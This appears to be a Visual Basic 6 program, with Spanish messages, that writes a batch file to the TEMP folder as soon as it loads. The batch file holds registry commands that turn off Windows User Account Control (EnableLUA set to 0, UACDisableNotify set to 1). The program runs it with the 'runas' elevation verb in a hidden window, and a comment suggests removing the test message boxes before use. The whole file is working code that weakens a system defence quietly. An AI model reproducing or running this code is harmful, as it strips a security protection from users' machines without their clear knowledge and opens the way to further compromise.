Option Explicit
 
Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
 
Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long
 
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long
 
Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2
 
Const FILE_ATTRIBUTE_NORMAL = &H80
 
Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long
 
Private Type SHELLEXECUTEINFOA
    cbSize                  As Long
    fMask                   As Long
    hwnd                    As Long
    lpVerb                  As String
    lpFile                  As String
    lpParameters            As String
    lpDirectory             As String
    nShow                   As Long
    hInstApp                As Long
    lpIDList                As Long
    lpClass                 As String
    hkeyClass               As Long
    dwHotKey                As Long
    hIcon                   As Long
    hProcess                As Long
End Type
 
Const SW_NORMAL = 1
Const SW_HIDE = 0
 
Private Sub Form_Load()
On Error Resume Next
    Dim strPath     As String
    Dim strBatCode  As String
 
    strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
                 "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"
 
 
    Write2File Environ$("TEMP") & "\temp.bat", strBatCode
    strPath = Environ$("TEMP") & "\temp.bat"
 
 
    If Elevate(strPath) Then
        MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
        strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
    Else
        MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
        strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
    End If
 
    End
 
End Sub
Private Function Elevate(strPath As String) As Boolean
 
 
    Dim ExInfo      As SHELLEXECUTEINFOA
    Dim lnRet       As Long
 
    With ExInfo
        .cbSize = Len(ExInfo)
        .fMask = 0&
        .hwnd = hwnd
        .lpVerb = "runas"
        .lpFile = strPath
        .lpParameters = vbNullChar
        .lpDirectory = vbNullChar
        .nShow = SW_HIDE
    End With
 
    On Error Resume Next
 
    lnRet = ShellExecuteEx(ExInfo)
 
    If lnRet <> 1 Then
        Elevate = False
        Exit Function
    End If
 
    Elevate = True
 
End Function
Private Sub Write2File(Filename As String, Buffer As String)
    On Error Resume Next
    Dim hFile       As Long
    Dim hWrite      As Long
 
    hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
    If hFile <> 0 Then
        hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
    End If
    CloseHandle (hFile)
End Sub